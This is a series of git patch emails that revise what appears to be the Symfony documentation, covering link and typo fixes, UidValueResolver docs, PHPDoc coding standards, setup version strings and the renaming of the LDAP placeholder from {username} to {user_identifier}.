Subject: [PATCH 2106/5766] [Messenger] fix broken link to Validator component

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8a4d66fe4ac..ef99281af80 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1738,7 +1738,7 @@ Other Middlewares
     The ``validation`` middleware was introduced in Symfony 4.1.
 
 Add the ``validation`` middleware if you need to validate the message
-object using the :doc:`Validator component <validator>` before handling it.
+object using the :doc:`Validator component </components/validator>` before handling it.
 If validation fails, a ``ValidationFailedException`` will be thrown. The
 :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used
 to configure the validation groups.

From 6474f5735e12aa4898b41054d5158bad3141b151 Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Wed, 27 Jul 2022 11:18:48 +0200
Subject: [PATCH 2107/5766] [HttpKernel] Add UidValueResolver to the list of
 built-in value resolvers

---
 controller/argument_value_resolver.rst | 28 +++++++++++++++++++++++++-
 reference/forms/types/datetime.rst     |  2 +-
 2 files changed, 28 insertions(+), 2 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index ec813dacb38..3eae1924e05 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -115,6 +115,32 @@ Symfony ships with the following value resolvers in the
     Will set the default value of the argument if present and the argument
     is optional.
 
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\UidValueResolver`
+    Attempts to convert any UID values from a route path parameter into UID objects.
+    Leads to a 404 Not Found response if the value isn't a valid UID.
+
+    For example, the following will convert the token parameter into a ``UuidV4`` object::
+
+        // src/Controller/DefaultController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Uid\UuidV4;
+
+        class DefaultController
+        {
+            #[Route('/share/{token}')]
+            public function share(UuidV4 $token): Response
+            {
+                // ...
+            }
+        }
+
+    .. versionadded:: 6.1
+
+        The ``UidValueResolver`` was introduced in Symfony 6.1.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\VariadicValueResolver`
     Verifies if the request data is an array and will add all of them to the
     argument list. When the action is called, the last (variadic) argument will
@@ -137,7 +163,7 @@ PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
     of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
     :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
-    It requires installing :doc:`the PSR-7 Bridge </components/psr7>`_ component.
+    It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
 Adding a Custom Value Resolver
 ------------------------------
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index c189aceb2a6..524e61c8792 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -13,7 +13,7 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
 +---------------------------+-----------------------------------------------------------------------------+
-| Rendered as               | single text box or five select fields                                      |
+| Rendered as               | single text box or five select fields                                       |
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+

From e24abb30c758bc4a3ada0c618d3e805792b6aade Mon Sep 17 00:00:00 2001
From: Mathieu Ledru <matyo91@gmail.com>
Date: Thu, 28 Jul 2022 11:41:01 +0200
Subject: [PATCH 2108/5766] Update upgrade_major.rst

Seems that `SYMFONY_PATCH_TYPE_DECLARATIONS` must be used instead of `SYMFONY_DEPRECATIONS_HELPER` in sample for open source maintainers
---
 setup/upgrade_major.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 49fc1acf192..aaffd2f36ae 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -291,10 +291,10 @@ Classes in the ``vendor/`` directory are always ignored.
 
            # Add type declarations to all internal, final, tests and private methods.
            # Update the "php" parameter to match your minimum required PHP version
-           $ SYMFONY_DEPRECATIONS_HELPER="force=1&php=7.4" ./vendor/bin/patch-type-declarations
+           $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=1&php=7.4" ./vendor/bin/patch-type-declarations
 
            # Add PHPDoc to the leftover public and protected methods
-           $ SYMFONY_DEPRECATIONS_HELPER="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations
+           $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations
 
        After running the scripts, check your classes and add more ``@return``
        PHPDoc where they are missing. The deprecations and patch script
@@ -312,7 +312,7 @@ Classes in the ``vendor/`` directory are always ignored.
        .. code-block:: terminal
 
            # Update the "php" parameter to match your minimum required PHP version
-           $ SYMFONY_DEPRECATIONS_HELPER="force=2&php=7.4" ./vendor/bin/patch-type-declarations
+           $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=2&php=7.4" ./vendor/bin/patch-type-declarations
 
        Now, you can safely allow ``^6.0`` for the Symfony dependencies.
 

From d2f676ebed954b00006b3b031c6de66a8a00118c Mon Sep 17 00:00:00 2001
From: Ousmane NDIAYE <ousmane.ndia@gmail.com>
Date: Thu, 28 Jul 2022 11:12:07 +0200
Subject: [PATCH 2109/5766] Update mercure.rst

Fix typo
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 5c4b570e4af..806efa31946 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -109,7 +109,7 @@ to the Mercure Hub to be authorized to publish updates and, sometimes, to subscr
 This JWT should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 
 The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or
+the Hub to verify the JWT (``!ChangeMe!`` if you use the Local Web Server or
 Symfony Docker).
 Its payload must contain at least the following structure to be allowed to
 publish:

From 16cfba7759725fee4bdd4a4ab91d5a10e5a27d54 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 26 Jul 2022 16:08:33 +0200
Subject: [PATCH 2110/5766] Be more detailed about coding standards for PHPdoc

---
 contributing/code/standards.rst | 62 ++++++++++++++++++---------------
 1 file changed, 33 insertions(+), 29 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 5709a5184a6..e8af77af491 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -47,30 +47,27 @@ short example containing most features described below::
      */
     class FooBar
     {
-        const SOME_CONST = 42;
+        public const SOME_CONST = 42;
 
         /**
          * @var string
          */
         private $fooBar;
-
         private $qux;
 
         /**
-         * @param string $dummy Some argument description
+         * @param $dummy some argument description
          */
-        public function __construct($dummy, Qux $qux)
+        public function __construct(string $dummy, Qux $qux)
         {
             $this->fooBar = $this->transformText($dummy);
             $this->qux = $qux;
         }
 
         /**
-         * @return string
-         *
          * @deprecated
          */
-        public function someDeprecatedMethod()
+        public function someDeprecatedMethod(): string
         {
             trigger_deprecation('symfony/package-name', '5.1', 'The %s() method is deprecated, use Acme\Baz::someMethod() instead.', __METHOD__);
 
@@ -80,14 +77,11 @@ short example containing most features described below::
         /**
          * Transforms the input given as the first argument.
          *
-         * @param bool|string $dummy   Some argument description
-         * @param array       $options An options collection to be used within the transformation
+         * @param $options an options collection to be used within the transformation
          *
-         * @return string|null The transformed input
-         *
-         * @throws \RuntimeException When an invalid option is provided
+         * @throws \RuntimeException when an invalid option is provided
          */
-        private function transformText($dummy, array $options = [])
+        private function transformText(bool|string $dummy, array $options = []): ?string
         {
             $defaultOptions = [
                 'some_default' => 'values',
@@ -100,16 +94,13 @@ short example containing most features described below::
                 }
             }
 
-            $mergedOptions = array_merge(
-                $defaultOptions,
-                $options
-            );
+            $mergedOptions = array_merge($defaultOptions, $options);
 
             if (true === $dummy) {
                 return 'something';
             }
 
-            if (is_string($dummy)) {
+            if (\is_string($dummy)) {
                 if ('values' === $mergedOptions['some_default']) {
                     return substr($dummy, 0, 5);
                 }
@@ -122,11 +113,8 @@ short example containing most features described below::
 
         /**
          * Performs some basic operations for a given value.
-         *
-         * @param mixed $value     Some value to operate against
-         * @param bool  $theSwitch Some switch to control the method's flow
          */
-        private function performOperations($value = null, $theSwitch = false)
+        private function performOperations(mixed $value = null, bool $theSwitch = false)
         {
             if (!$theSwitch) {
                 return;
@@ -162,6 +150,8 @@ Structure
 * Use ``return null;`` when a function explicitly returns ``null`` values and
   use ``return;`` when the function returns ``void`` values;
 
+* Do not add the ``void`` return type to methods in tests;
+
 * Use braces to indicate control structure body regardless of the number of
   statements it contains;
 
@@ -265,19 +255,28 @@ Service Naming Conventions
 Documentation
 ~~~~~~~~~~~~~
 
-* Add PHPDoc blocks for all classes, methods, and functions (though you may
-  be asked to remove PHPDoc that do not add value);
+* Add PHPDoc blocks for classes, methods, and functions only when they add
+  relevant information that does not duplicate the name, native type
+  declaration or context (e.g. ``instanceof`` checks);
+
+* Only use annotations and types defined in `the PHPDoc reference`_. In
+  order to improve types for static analysis, the following annotations are
+  also allowed:
+
+  * `Generics`_, with the exception of ``@template-covariant``.
+  * `Conditional return types`_ using the vendor-prefixed ``@psalm-return``;
+  * `Class constants`_;
+  * `Callable types`_;
 
 * Group annotations together so that annotations of the same type immediately
   follow each other, and annotations of a different type are separated by a
   single blank line;
 
-* Omit the ``@return`` tag if the method does not return anything;
-
-* The ``@package`` and ``@subpackage`` annotations are not used;
+* Omit the ``@return`` annotation if the method does not return anything;
 
-* Don't inline PHPDoc blocks, even when they contain just one tag (e.g. don't
-  put ``/** {@inheritdoc} */`` in a single line);
+* Don't use one-line PHPDoc blocks on classes, methods and functions, even
+  when they contain just one annotation (e.g. don't put ``/** {@inheritdoc} */``
+  in a single line);
 
 * When adding a new class or when making significant changes to an existing class,
   an ``@author`` tag with personal contact information may be added, or expanded.
@@ -303,3 +302,8 @@ License
 .. _`snake_case`: https://en.wikipedia.org/wiki/Snake_case
 .. _`constructor property promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion
 .. _`trailing comma`: https://wiki.php.net/rfc/trailing_comma_in_parameter_list
+.. _`the PHPDoc reference`: https://docs.phpdoc.org/3.0/guide/references/phpdoc/index.html
+.. _`Conditional return types`: https://psalm.dev/docs/annotating_code/type_syntax/conditional_types/
+.. _`Class constants`: https://psalm.dev/docs/annotating_code/type_syntax/value_types/#regular-class-constants
+.. _`Callable types`: https://psalm.dev/docs/annotating_code/type_syntax/callable_types/
+.. _`Generics`: https://psalm.dev/docs/annotating_code/templated_annotations/

From 97899916d38c436c7d96f4a1a78156ec349c8d97 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 26 Jul 2022 10:22:21 +0200
Subject: [PATCH 2111/5766] Update README.markdown

---
 README.markdown | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/README.markdown b/README.markdown
index c7758624d24..8bd67bed4a3 100644
--- a/README.markdown
+++ b/README.markdown
@@ -11,6 +11,10 @@
     Online version
   </a>
   <span> | </span>
+  <a href="https://symfony.com/components">
+    Components
+  </a>
+  <span> | </span>
   <a href="https://symfonycasts.com">
     Screencasts
   </a>

From 47dcb1cb744a53913dc3dac2de16c2cf03117eb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jul 2022 17:16:35 +0200
Subject: [PATCH 2112/5766] Minor tweal

---
 reference/constraints/Email.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index bce65891729..f1932b47467 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,8 +135,11 @@ This option defines the pattern used to validate the email address. Valid values
 * ``strict`` uses the `egulias/email-validator`_ library (which you must
   install separately) for validation according to `RFC 5322`_.
 
-You can also use the class constants of :class:`Symfony\\Component\\Validator\\Constraints\\Email`,
-e.g. ``Email::VALIDATION_MODE_STRICT``.
+.. tip::
+
+    The possible values of this option are also defined as PHP constants of
+    :class:`Symfony\\Component\\Validator\\Constraints\\Email`
+    (e.g. ``Email::VALIDATION_MODE_STRICT``).
 
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`

From 698ae45af350a451f4f79181aa61a21f87f46971 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jul 2022 17:26:45 +0200
Subject: [PATCH 2113/5766] Minor tweaks

---
 components/expression_language/syntax.rst | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 92a69b01642..de0fddf80bf 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -343,18 +343,23 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
-Null-coalescing Operator
+Null Coalescing Operator
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-This is the same as the PHP's null-coalescing operator ``??`` which is a syntactic sugar for the use of a ternary 
-in conjunction with isset(). It returns the left hand-side if it exist and not ``null`` otherwise it returns the right hand-side.
-Note that coalescing can be chained.
+This is the same as the PHP `null-coalescing operator`_, which combines
+the ternary operator and ``isset()``. It returns the left hand-side if it exists
+and it's not ``null``; otherwise it returns the right hand-side. Note that you
+can chain multiple coalescing operators.
 
 * ``foo ?? 'no'``
 * ``foo.baz ?? 'no'``
 * ``foo[3] ?? 'no'``
 * ``foo.baz ?? foo['baz'] ?? 'no'``
 
+.. versionadded:: 6.2
+
+    The null-coalescing operator was introduced in Symfony 6.2.
+
 Built-in Objects and Variables
 ------------------------------
 
@@ -365,3 +370,5 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
+
+.. _`null-coalescing operator`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce

From 722b40df3cae2710423e1816585aebf91b4c4b95 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jul 2022 17:27:07 +0200
Subject: [PATCH 2114/5766] [ExpressionLanguage] Remove a feature that was
 merged into 6.2

---
 components/expression_language/syntax.rst | 17 -----------------
 1 file changed, 17 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index de0fddf80bf..6e457acd7ea 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -343,23 +343,6 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
-Null Coalescing Operator
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-This is the same as the PHP `null-coalescing operator`_, which combines
-the ternary operator and ``isset()``. It returns the left hand-side if it exists
-and it's not ``null``; otherwise it returns the right hand-side. Note that you
-can chain multiple coalescing operators.
-
-* ``foo ?? 'no'``
-* ``foo.baz ?? 'no'``
-* ``foo[3] ?? 'no'``
-* ``foo.baz ?? foo['baz'] ?? 'no'``
-
-.. versionadded:: 6.2
-
-    The null-coalescing operator was introduced in Symfony 6.2.
-
 Built-in Objects and Variables
 ------------------------------
 

From bd72b3817dc8c5ce107d39a49aadfa221ad2f37b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jul 2022 17:27:54 +0200
Subject: [PATCH 2115/5766] Readd the docs about Null Coalescing Operator

---
 components/expression_language/syntax.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 6e457acd7ea..de0fddf80bf 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -343,6 +343,23 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
+Null Coalescing Operator
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is the same as the PHP `null-coalescing operator`_, which combines
+the ternary operator and ``isset()``. It returns the left hand-side if it exists
+and it's not ``null``; otherwise it returns the right hand-side. Note that you
+can chain multiple coalescing operators.
+
+* ``foo ?? 'no'``
+* ``foo.baz ?? 'no'``
+* ``foo[3] ?? 'no'``
+* ``foo.baz ?? foo['baz'] ?? 'no'``
+
+.. versionadded:: 6.2
+
+    The null-coalescing operator was introduced in Symfony 6.2.
+
 Built-in Objects and Variables
 ------------------------------
 

From 83eeaca28e4b9059e8f23877c7c96b74ce578fb9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 30 Jul 2022 19:50:14 +0200
Subject: [PATCH 2116/5766] fix reference markup

---
 controller/argument_value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 49dc3355c9d..2cea87964ab 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -58,7 +58,7 @@ PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
     of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
     :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
-    It requires installing :doc:`the PSR-7 Bridge </components/psr7>`_ component.
+    It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
 Adding a Custom Value Resolver
 ------------------------------

From c5a3034e78cfa6d40a4094f9f84fe2f49443a920 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 31 Jul 2022 13:35:06 +0300
Subject: [PATCH 2117/5766] setup documentation fix

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 9db493bb34f..f5003d49f6c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.0.*" --webapp
+    $ symfony new my_project_directory --version="6.1.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.0.*"
+    $ symfony new my_project_directory --version="6.1.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you

From 5b04eea5f7a07746e3aa76b2d708de1b89950020 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 1 Aug 2022 11:07:26 +0200
Subject: [PATCH 2118/5766] fix the target branch for new features

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 6f24f982fcb..415b8e2dd96 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -129,7 +129,7 @@ work:
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
 
-* ``6.x``, if you are adding a new feature.
+* ``6.2``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the

From dd0128601754cc9e2074ad46daaa49ccba32e370 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 31 Jul 2022 13:38:28 +0300
Subject: [PATCH 2119/5766] setup documentation fix

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5d39dafd635..db2c1fe10b0 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.1.*" --webapp
+    $ symfony new my_project_directory --version="6.2.*@dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.1.*"
+    $ symfony new my_project_directory --version="6.2.*@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you

From efc6c2ec52a52fa354967d5201684337429d49a2 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Tue, 26 Jul 2022 11:16:51 +0200
Subject: [PATCH 2120/5766] [Form] Remove `:end-before:`, `:start-after:` as
 it's not used anymore

---
 .../forms/types/options/choice_translation_domain.rst.inc     | 2 --
 .../types/options/choice_translation_domain_disabled.rst.inc  | 4 ----
 .../types/options/choice_translation_domain_enabled.rst.inc   | 4 ----
 3 files changed, 10 deletions(-)

diff --git a/reference/forms/types/options/choice_translation_domain.rst.inc b/reference/forms/types/options/choice_translation_domain.rst.inc
index a6e582ccf7a..e676567a057 100644
--- a/reference/forms/types/options/choice_translation_domain.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain.rst.inc
@@ -1,8 +1,6 @@
 ``choice_translation_domain``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-DEFAULT_VALUE
-
 This option determines if the choice values should be translated and in which
 translation domain.
 
diff --git a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
index 9c5dd6e2436..d9e711f0a07 100644
--- a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
@@ -1,7 +1,3 @@
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-    :end-before: DEFAULT_VALUE
-
 **type**: ``string``, ``boolean`` or ``null`` **default**: ``false``
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-    :start-after: DEFAULT_VALUE
diff --git a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
index 53e45bd1eaa..dad2666f9c4 100644
--- a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
@@ -1,7 +1,3 @@
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-    :end-before: DEFAULT_VALUE
-
 **type**: ``string``, ``boolean`` or ``null`` **default**: ``true``
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-    :start-after: DEFAULT_VALUE

From 156e0a3aab749d19b2883b397c1d0415dd7ec544 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Aug 2022 17:52:33 +0200
Subject: [PATCH 2121/5766] [Security] Deprecate {username} in favor of
 {user_identifier}

---
 reference/configuration/security.rst |  6 ++---
 security/ldap.rst                    | 39 ++++++++++++++++------------
 2 files changed, 25 insertions(+), 20 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 6ba99c0fe7c..b9401842d92 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -610,9 +610,9 @@ This is the name of your configured LDAP client.
 dn_string
 .........
 
-**type**: ``string`` **default**: ``{username}``
+**type**: ``string`` **default**: ``{user_identifier}``
 
-This is the string which will be used as the bind DN. The ``{username}``
+This is the string which will be used as the bind DN. The ``{user_identifier}``
 placeholder will be replaced with the user-provided value (their login).
 Depending on your LDAP server's configuration, you may need to override
 this value.
@@ -622,7 +622,7 @@ query_string
 
 **type**: ``string`` **default**: ``null``
 
-This is the string which will be used to query for the DN. The ``{username}``
+This is the string which will be used to query for the DN. The ``{user_identifier}``
 placeholder will be replaced with the user-provided value (their login).
 Depending on your LDAP server's configuration, you will need to override
 this value. This setting is only necessary if the user's DN cannot be derived
diff --git a/security/ldap.rst b/security/ldap.rst
index ff768969771..53cc88cceb1 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -290,14 +290,19 @@ filter
 
 This key lets you configure which LDAP query will be used. The ``{uid_key}``
 string will be replaced by the value of the ``uid_key`` configuration value
-(by default, ``sAMAccountName``), and the ``{username}`` string will be
-replaced by the username you are trying to load.
+(by default, ``sAMAccountName``), and the ``{user_identifier}`` string will be
+replaced by the user identified you are trying to load.
+
+.. deprecated:: 6.2
+
+    Starting from Symfony 6.2, the ``{username}`` string was deprecated in favor
+    of ``{user_identifier}``.
 
 For example, with a ``uid_key`` of ``uid``, and if you are trying to
 load the user ``fabpot``, the final string will be: ``(uid=fabpot)``.
 
 If you pass ``null`` as the value of this option, the default filter is used
-``({uid_key}={username})``.
+``({uid_key}={user_identifier})``.
 
 To prevent `LDAP injection`_, the username will be escaped.
 
@@ -324,15 +329,15 @@ number or contain white spaces.
 dn_string
 .........
 
-**type**: ``string`` **default**: ``{username}``
+**type**: ``string`` **default**: ``{user_identifier}``
 
 This key defines the form of the string used to compose the
-DN of the user, from the username. The ``{username}`` string is
+DN of the user, from the username. The ``{user_identifier}`` string is
 replaced by the actual username of the person trying to authenticate.
 
 For example, if your users have DN strings in the form
 ``uid=einstein,dc=example,dc=com``, then the ``dn_string`` will be
-``uid={username},dc=example,dc=com``.
+``uid={user_identifier},dc=example,dc=com``.
 
 query_string
 ............
@@ -342,8 +347,8 @@ query_string
 This (optional) key makes the user provider search for a user and then use the
 found DN for the bind process. This is useful when using multiple LDAP user
 providers with different ``base_dn``. The value of this option must be a valid
-search string (e.g. ``uid="{username}"``). The placeholder value will be
-replaced by the actual username.
+search string (e.g. ``uid="{user_identifier}"``). The placeholder value will be
+replaced by the actual user identifier.
 
 When this option is used, ``query_string`` will search in the DN specified by
 ``dn_string`` and the DN resulted of the ``query_string`` will be used to
@@ -376,7 +381,7 @@ Configuration example for form login
                     form_login_ldap:
                         # ...
                         service: Symfony\Component\Ldap\Ldap
-                        dn_string: 'uid={username},dc=example,dc=com'
+                        dn_string: 'uid={user_identifier},dc=example,dc=com'
 
     .. code-block:: xml
 
@@ -393,7 +398,7 @@ Configuration example for form login
             <config>
                 <firewall name="main">
                     <form-login-ldap service="Symfony\Component\Ldap\Ldap"
-                        dn-string="uid={username},dc=example,dc=com"/>
+                        dn-string="uid={user_identifier},dc=example,dc=com"/>
                 </firewall>
             </config>
         </srv:container>
@@ -408,7 +413,7 @@ Configuration example for form login
             $security->firewall('main')
                 ->formLoginLdap()
                     ->service(Ldap::class)
-                    ->dnString('uid={username},dc=example,dc=com')
+                    ->dnString('uid={user_identifier},dc=example,dc=com')
             ;
         };
 
@@ -428,7 +433,7 @@ Configuration example for HTTP Basic
                     stateless: true
                     http_basic_ldap:
                         service: Symfony\Component\Ldap\Ldap
-                        dn_string: 'uid={username},dc=example,dc=com'
+                        dn_string: 'uid={user_identifier},dc=example,dc=com'
 
     .. code-block:: xml
 
@@ -447,7 +452,7 @@ Configuration example for HTTP Basic
 
                 <firewall name="main" stateless="true">
                     <http-basic-ldap service="Symfony\Component\Ldap\Ldap"
-                        dn-string="uid={username},dc=example,dc=com"/>
+                        dn-string="uid={user_identifier},dc=example,dc=com"/>
                 </firewall>
             </config>
         </srv:container>
@@ -463,7 +468,7 @@ Configuration example for HTTP Basic
                 ->stateless(true)
                 ->formLoginLdap()
                     ->service(Ldap::class)
-                    ->dnString('uid={username},dc=example,dc=com')
+                    ->dnString('uid={user_identifier},dc=example,dc=com')
             ;
         };
 
@@ -484,7 +489,7 @@ Configuration example for form login and query_string
                     form_login_ldap:
                         service: Symfony\Component\Ldap\Ldap
                         dn_string: 'dc=example,dc=com'
-                        query_string: '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))'
+                        query_string: '(&(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))'
                         search_dn: '...'
                         search_password: 'the-raw-password'
 
@@ -505,7 +510,7 @@ Configuration example for form login and query_string
                     <!-- ... -->
                     <form-login-ldap service="Symfony\Component\Ldap\Ldap"
                         dn-string="dc=example,dc=com"
-                        query-string="(&amp;(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))"
+                        query-string="(&amp;(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))"
                         search-dn="..."
                         search-password="the-raw-password"/>
                 </firewall>
@@ -524,7 +529,7 @@ Configuration example for form login and query_string
                 ->formLoginLdap()
                     ->service(Ldap::class)
                     ->dnString('dc=example,dc=com')
-                    ->queryString('(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))')
+                    ->queryString('(&(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))')
                     ->searchDn('...')
                     ->searchPassword('the-raw-password')
             ;

From e955ae85f7ff90e2f131d372968ebeb238a96f34 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Mon, 1 Aug 2022 14:24:22 -0400
Subject: [PATCH 2122/5766] [Doctrine] show attributes for make:entity in
 association docs

---
 doctrine/associations.rst | 20 ++++++++------------
 1 file changed, 8 insertions(+), 12 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
